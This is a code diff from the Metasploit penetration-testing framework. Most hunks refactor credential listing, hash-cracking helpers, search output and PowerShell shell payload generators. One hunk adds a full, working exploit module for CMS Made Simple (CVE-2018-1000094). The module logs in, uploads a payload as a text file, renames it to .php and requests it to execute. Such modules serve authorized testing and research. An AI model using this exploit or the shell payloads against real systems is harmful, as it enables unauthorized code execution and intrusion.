cmd_creds_help
|
||||
return
|
||||
end
|
||||
|
@ -153,8 +153,6 @@ class Creds
|
|||
print_line " creds add ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A"
|
||||
print_line " # Add a user with an SSH key"
|
||||
print_line " creds add user:sshadmin ssh-key:/path/to/id_rsa"
|
||||
print_line " # Add a SSH key"
|
||||
print_line " creds add ssh-key:/path/to/id_rsa"
|
||||
print_line " # Add a user and a NonReplayableHash"
|
||||
print_line " creds add user:other hash:d19c32489b870735b5f587d76b934283"
|
||||
print_line " # Add a NonReplayableHash"
|
||||
|
@ -164,7 +162,7 @@ class Creds
|
|||
print_line "General options"
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -o <file> Send output to a file in csv format"
|
||||
print_line " -d Delete one or more credentials"
|
||||
print_line " -d,--delete Delete one or more credentials"
|
||||
print_line
|
||||
print_line "Filter options for listing"
|
||||
print_line " -P,--password <regex> List passwords that match this regex"
|
||||
|
@ -172,13 +170,15 @@ class Creds
|
|||
print_line " -s <svc names> List creds matching comma-separated service names"
|
||||
print_line " -u,--user <regex> List users that match this regex"
|
||||
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
|
||||
print_line " -O,--origins List creds that match these origins"
|
||||
print_line " -O,--origins <IP> List creds that match these origins"
|
||||
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||
print_line " -S,--search-term Search across all fields using regex"
|
||||
|
||||
print_line
|
||||
print_line "Examples, listing:"
|
||||
print_line " creds # Default, returns all credentials"
|
||||
print_line " creds 1.2.3.4/24 # nmap host specification"
|
||||
print_line " creds 1.2.3.4/24 # Return credentials with logins in this range"
|
||||
print_line " creds -O 1.2.3.4/24 # Return credentials with origins in this range"
|
||||
print_line " creds -p 22-25,445 # nmap port specification"
|
||||
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
|
||||
print_line " creds -t ntlm # All NTLM creds"
|
||||
|
@ -223,7 +223,7 @@ class Creds
|
|||
end
|
||||
|
||||
data = {
|
||||
workspace_id: framework.db.workspace,
|
||||
workspace_id: framework.db.workspace.id,
|
||||
origin_type: :import,
|
||||
filename: 'msfconsole'
|
||||
}
|
||||
|
@ -275,9 +275,9 @@ class Creds
|
|||
data[:port] = params['port']
|
||||
data[:protocol] = params['protocol']
|
||||
data[:service_name] = params['service-name']
|
||||
create_credential_and_login(data)
|
||||
framework.db.create_credential_and_login(data)
|
||||
else
|
||||
create_credential(data)
|
||||
framework.db.create_credential(data)
|
||||
end
|
||||
rescue ActiveRecord::RecordInvalid => e
|
||||
print_error("Failed to add #{data['private_type']}: #{e}")
|
||||
|
@ -305,44 +305,44 @@ class Creds
|
|||
when '-o'
|
||||
output_file = args.shift
|
||||
if (!output_file)
|
||||
print_error("Invalid output filename")
|
||||
print_error('Invalid output filename')
|
||||
return
|
||||
end
|
||||
output_file = ::File.expand_path(output_file)
|
||||
when "-p","--port"
|
||||
when '-p', '--port'
|
||||
unless (arg_port_range(args.shift, port_ranges, true))
|
||||
return
|
||||
end
|
||||
when "-t","--type"
|
||||
when '-t', '--type'
|
||||
ptype = args.shift
|
||||
opts[:ptype] = ptype
|
||||
if (!ptype)
|
||||
print_error("Argument required for -t")
|
||||
print_error('Argument required for -t')
|
||||
return
|
||||
end
|
||||
when "-s","--service"
|
||||
when '-s', '--service'
|
||||
service = args.shift
|
||||
if (!service)
|
||||
print_error("Argument required for -s")
|
||||
print_error('Argument required for -s')
|
||||
return
|
||||
end
|
||||
svcs = service.split(/[\s]*,[\s]*/)
|
||||
opts[:svcs] = svcs
|
||||
when "-P","--password"
|
||||
when '-P', '--password'
|
||||
pass = args.shift
|
||||
opts[:pass] = pass
|
||||
if (!pass)
|
||||
print_error("Argument required for -P")
|
||||
print_error('Argument required for -P')
|
||||
return
|
||||
end
|
||||
when "-u","--user"
|
||||
when '-u', '--user'
|
||||
user = args.shift
|
||||
opts[:user] = user
|
||||
if (!user)
|
||||
print_error("Argument required for -u")
|
||||
print_error('Argument required for -u')
|
||||
return
|
||||
end
|
||||
when "-d"
|
||||
when '-d', '--delete'
|
||||
mode = :delete
|
||||
when '-R', '--rhosts'
|
||||
set_rhosts = true
|
||||
|
@ -350,7 +350,7 @@ class Creds
|
|||
hosts = args.shift
|
||||
opts[:hosts] = hosts
|
||||
if !hosts
|
||||
print_error("Argument required for -O")
|
||||
print_error('Argument required for -O')
|
||||
return
|
||||
end
|
||||
arg_host_range(hosts, origin_ranges)
|
||||
|
@ -385,6 +385,7 @@ class Creds
|
|||
|
||||
# normalize
|
||||
ports = port_ranges.flatten.uniq
|
||||
opts[:ports] = ports unless ports.empty?
|
||||
svcs.flatten!
|
||||
tbl_opts = {
|
||||
'Header' => "Credentials",
|
||||
|
@ -393,8 +394,9 @@ class Creds
|
|||
}
|
||||
|
||||
tbl = Rex::Text::Table.new(tbl_opts)
|
||||
opts[:wspace] = framework.db.workspace
|
||||
opts[:workspace] = framework.db.workspace
|
||||
query = framework.db.creds(opts)
|
||||
matched_cred_ids = []
|
||||
|
||||
query.each do |core|
|
||||
|
||||
|
@ -410,16 +412,21 @@ class Creds
|
|||
|
||||
origin = ''
|
||||
if core.origin.kind_of?(Metasploit::Credential::Origin::Service)
|
||||
origin = core.origin.service.host.address
|
||||
service = framework.db.services(id: core.origin.service_id, workspace: framework.db.workspace).first
|
||||
origin = service.host.address
|
||||
elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session)
|
||||
origin = core.origin.session.host.address
|
||||
session = framework.db.sessions(id: core.origin.session_id, workspace: framework.db.workspace).first
|
||||
origin = session.host.address
|
||||
end
|
||||
|
||||
if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) }
|
||||
if origin_ranges.present? && !origin_ranges.any? { |range| range.include?(origin) }
|
||||
next
|
||||
end
|
||||
|
||||
if core.logins.empty? && origin_ranges.empty?
|
||||
if core.logins.empty?
|
||||
next if host_ranges.present? # If we're filtering by login IP and we're here there's no associated login, so skip
|
||||
|
||||
matched_cred_ids << core.id
|
||||
public_val = core.public ? core.public.username : ""
|
||||
private_val = core.private ? core.private.data : ""
|
||||
realm_val = core.realm ? core.realm.value : ""
|
||||
|
@ -427,7 +434,7 @@ class Creds
|
|||
|
||||
tbl << [
|
||||
"", # host
|
||||
"", # cred
|
||||
origin, # origin
|
||||
"", # service
|
||||
public_val,
|
||||
private_val,
|
||||
|
@ -436,23 +443,26 @@ class Creds
|
|||
]
|
||||
else
|
||||
core.logins.each do |login|
|
||||
|
||||
service = framework.db.services(id: login.service_id, workspace: framework.db.workspace).first
|
||||
# If none of this Core's associated Logins is for a host within
|
||||
# the user-supplied RangeWalker, then we don't have any reason to
|
||||
# print it out. However, we treat the absence of ranges as meaning
|
||||
# all hosts.
|
||||
if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) }
|
||||
if host_ranges.present? && !host_ranges.any? { |range| range.include?(service.host.address) }
|
||||
next
|
||||
end
|
||||
|
||||
row = [ login.service.host.address ]
|
||||
row = [ service.host.address ]
|
||||
row << origin
|
||||
rhosts << login.service.host.address
|
||||
if login.service.name.present?
|
||||
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
|
||||
rhosts << service.host.address
|
||||
if service.name.present?
|
||||
row << "#{service.port}/#{service.proto} (#{service.name})"
|
||||
else
|
||||
row << "#{login.service.port}/#{login.service.proto}"
|
||||
row << "#{service.port}/#{service.proto}"
|
||||
end
|
||||
|
||||
matched_cred_ids << core.id
|
||||
public_val = core.public ? core.public.username : ""
|
||||
private_val = core.private ? core.private.data : ""
|
||||
realm_val = core.realm ? core.realm.value : ""
|
||||
|
@ -467,10 +477,10 @@ class Creds
|
|||
tbl << row
|
||||
end
|
||||
end
|
||||
if mode == :delete
|
||||
core.destroy
|
||||
delete_count += 1
|
||||
end
|
||||
if mode == :delete
|
||||
result = framework.db.delete_credentials(ids: matched_cred_ids)
|
||||
delete_count = result.size
|
||||
end
|
||||
|
||||
if output_file.nil?
|
||||
|
|
|
@ -385,6 +385,7 @@ module Msf
|
|||
m.full_name,
|
||||
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
|
||||
RankingName[m.rank].to_s,
|
||||
m.check ? 'Yes' : 'No',
|
||||
m.name
|
||||
]
|
||||
end
|
||||
|
@ -1101,6 +1102,7 @@ module Msf
|
|||
refname,
|
||||
o.disclosure_date.nil? ? "" : o.disclosure_date.strftime("%Y-%m-%d"),
|
||||
o.rank_to_s,
|
||||
o.respond_to?(:check) ? 'Yes' : 'No',
|
||||
o.name
|
||||
]
|
||||
end
|
||||
|
@ -1117,7 +1119,7 @@ module Msf
|
|||
'Header' => type,
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ],
|
||||
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Check', 'Description' ],
|
||||
'SearchTerm' => search_term
|
||||
)
|
||||
end
|
||||
|
|
|
@ -545,6 +545,8 @@ module DispatcherShell
|
|||
else
|
||||
dispatcher.send('cmd_' + method, *arguments)
|
||||
end
|
||||
rescue OptionParser::ParseError => e
|
||||
print_error("#{method}: #{e.message}")
|
||||
ensure
|
||||
self.busy = false
|
||||
end
|
||||
|
|
|
@ -86,10 +86,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'des').each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
|
||||
if core.private.jtr_format =~ /des/
|
||||
user = core.public.username
|
||||
hash_string = "#{hash.data}"
|
||||
hash_string = core.private.data
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
end
|
||||
|
|
|
@ -121,14 +121,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::NTLMHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id } ).each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NTLMHash').each do |core|
|
||||
user = core.public.username
|
||||
hash_string = "#{hash.data}"
|
||||
hash_string = core.private.data
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}"
|
||||
end
|
||||
end
|
||||
hashlist.close
|
||||
print_status "Hashes Written out to #{hashlist.path}"
|
||||
hashlist.path
|
||||
|
|
|
@ -35,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
|
||||
formats = [ 'md5', 'des', 'bsdi']
|
||||
formats = [ 'md5crypt', 'descrypt', 'bsdicrypt']
|
||||
if datastore['Crypt']
|
||||
formats << 'crypt'
|
||||
end
|
||||
|
@ -87,10 +87,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'md5,des,bsdi,crypt').each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
|
||||
if core.private.jtr_format =~ /md5|des|bsdi|crypt/
|
||||
user = core.public.username
|
||||
hash_string = "#{hash.data}"
|
||||
hash_string = core.private.data
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:::::#{id}:"
|
||||
end
|
||||
|
|
|
@ -96,6 +96,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
end
|
||||
end
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
|
||||
if core.private.jtr_format =~ /mssql|mssql05|mssql12/
|
||||
@formats << core.private.jtr_format
|
||||
user = core.public.username
|
||||
hash_string = core.private.data
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
end
|
||||
end
|
||||
hashlist.close
|
||||
print_status "Hashes Written out to #{hashlist.path}"
|
||||
hashlist.path
|
||||
|
|
|
@ -83,10 +83,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'mysql,mysql-sha1').each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
|
||||
if core.private.jtr_format =~ /mysql|mysql-sha1/
|
||||
user = core.public.username
|
||||
hash_string = "#{hash.data}"
|
||||
hash_string = core.private.data
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
end
|
||||
|
|
|
@ -86,10 +86,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file(format)
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: format).each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
|
||||
if core.private.jtr_format =~ /#{format}/
|
||||
user = core.public.username
|
||||
hash_string = "#{hash.data.split(':')[1]}"
|
||||
hash_string = core.private.data.split(':')[1]
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
end
|
||||
|
|
|
@ -110,11 +110,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def hash_file
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
Metasploit::Credential::PostgresMD5.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }).each do |hash|
|
||||
hash.cores.each do |core|
|
||||
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::PostgresMD5').each do |core|
|
||||
if core.private.jtr_format =~ /des/
|
||||
user = core.public.username
|
||||
@username_set << user
|
||||
hash_string = "#{hash.data}"
|
||||
hash_string = core.private.data
|
||||
hash_string.gsub!(/^md5/, '')
|
||||
id = core.id
|
||||
hashlist.puts "#{user}:#{hash_string}:#{id}:"
|
||||
|
|
|
@ -43,14 +43,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
bakextensions.each do |ext|
|
||||
file = normalize_uri(datastore['PATH'])+ext
|
||||
check_for_file(file)
|
||||
check_for_file(file, ip)
|
||||
end
|
||||
if datastore['PATH'] =~ %r#(.*)(/.+$)#
|
||||
file = $1 + $2.sub('/', '/.') + '.swp'
|
||||
check_for_file(file)
|
||||
check_for_file(file, ip)
|
||||
end
|
||||
end
|
||||
def check_for_file(file)
|
||||
def check_for_file(file, ip)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => file,
|
||||
|
|
|
@ -112,7 +112,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
workspace_id: myworkspace_id,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
|
||||
framework.db.create_credential_and_login(connection_details)
|
||||
@users_found[user] = :reported
|
||||
return :next_user
|
||||
else
|
||||
|
|
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
|
||||
'Description' => %q{
|
||||
CMS Made Simple allows an authenticated administrator to upload a file
|
||||
and rename it to have a .php extension. The file can then be executed
|
||||
by opening the URL of the file in the /uploads/ directory.
|
||||
|
||||
This module has been successfully tested on CMS Made Simple versions
|
||||
2.2.5 and 2.2.7.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Mustafa Hasen', # Vulnerability discovery and EDB PoC
|
||||
'Jacob Robles' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2018-1000094' ],
|
||||
[ 'CWE', '434' ],
|
||||
[ 'EDB', '44976' ],
|
||||
[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => [ 'php' ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Universal', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 03 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
|
||||
])
|
||||
|
||||
register_advanced_options ([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.body =~ /CMS Made Simple/i
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if res.body =~ %r{CMS Made Simple</a> version (\d+\.\d+\.\d+)}i
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
|
||||
|
||||
if version == Gem::Version.new('2.2.5')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'loginsubmit' => 'Submit'
|
||||
}
|
||||
})
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'A response was not received from the remote host')
|
||||
end
|
||||
|
||||
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
|
||||
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
|
||||
end
|
||||
|
||||
vprint_good("#{peer} - Authentication successful")
|
||||
csrf_name = $1
|
||||
csrf_val = $2
|
||||
|
||||
csrf = {csrf_name => csrf_val}
|
||||
cookies = res.get_cookies
|
||||
filename = rand_text_alpha(8..12)
|
||||
|
||||
# Generate form data
|
||||
message = Rex::MIME::Message.new
|
||||
message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
|
||||
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
|
||||
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
|
||||
message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
|
||||
data = message.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{message.bound}",
|
||||
'cookie' => cookies
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
|
||||
end
|
||||
vprint_good("#{peer} - File uploaded #{filename}.txt")
|
||||
|
||||
fileb64 = Rex::Text.encode_base64("#{filename}.txt")
|
||||
data = {
|
||||
'mact' => 'FileManager,m1_,fileaction,0',
|
||||
"m1_fileactioncopy" => "",
|
||||
'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
|
||||
'm1_destdir' => '/',
|
||||
'm1_destname' => "#{filename}.php",
|
||||
'm1_path' => '/uploads',
|
||||
'm1_submit' => 'Copy',
|
||||
csrf_name => csrf_val
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'vars_post' => data
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'A response was not received from the remote host')
|
||||
end
|
||||
|
||||
unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
|
||||
end
|
||||
vprint_good("#{peer} - File renamed #{filename}.php")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookies
|
||||
})
|
||||
end
|
||||
end
|
|
@ -39,7 +39,7 @@ def generate_stage
|
|||
|
||||
# ipv6 address conversion
|
||||
# converts user's input into ipv6 hex representation
|
||||
words = IPAddr.new(datastore['LHOST']).hton.scan(/..../).map {|i| i.unpack('V').first.to_s(16)}
|
||||
words = IPAddr.new(datastore['LHOST'], Socket::AF_INET6).hton.scan(/..../).map {|i| i.unpack('V').first.to_s(16)}
|
||||
payload_data =<<-EOS
|
||||
xor ebx,ebx
|
||||
mul ebx
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1518
|
||||
CachedSize = 1703
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Rex::Powershell::Command
|
||||
|
@ -53,7 +53,7 @@ module MetasploitModule
|
|||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
def powershell_command
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
|
|||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1526
|
||||
CachedSize = 1711
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
@ -53,7 +53,7 @@ module MetasploitModule
|
|||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
def powershell_command
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
|
|||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1518
|
||||
CachedSize = 1786
|
||||
|
||||
include Msf::Payload::Windows::Exec_x64
|
||||
include Rex::Powershell::Command
|
||||
|
@ -53,7 +53,7 @@ module MetasploitModule
|
|||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
def powershell_command
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
|
|||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1526
|
||||
CachedSize = 1794
|
||||
|
||||
include Msf::Payload::Windows::Exec_x64
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
@ -53,7 +53,7 @@ module MetasploitModule
|
|||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
def powershell_command
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,7 +7,6 @@ RSpec.describe Msf::Module do
|
|||
described_class.new
|
||||
}
|
||||
|
||||
it { is_expected.to respond_to :check }
|
||||
it { is_expected.to respond_to :debugging? }
|
||||
it { is_expected.to respond_to :fail_with }
|
||||
it { is_expected.to respond_to :file_path }
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
RSpec.shared_examples_for 'Msf::DBManager::Cred' do
|
||||
|
||||
if ENV['REMOTE_DB']
|
||||
before {skip("Awaiting cred port")}
|
||||
end
|
||||
|
||||
it { is_expected.to respond_to :creds }
|
||||
it { is_expected.to respond_to :each_cred }
|
||||
it { is_expected.to respond_to :find_or_create_cred }
|
||||
|
|
Loading…
Reference in New Issue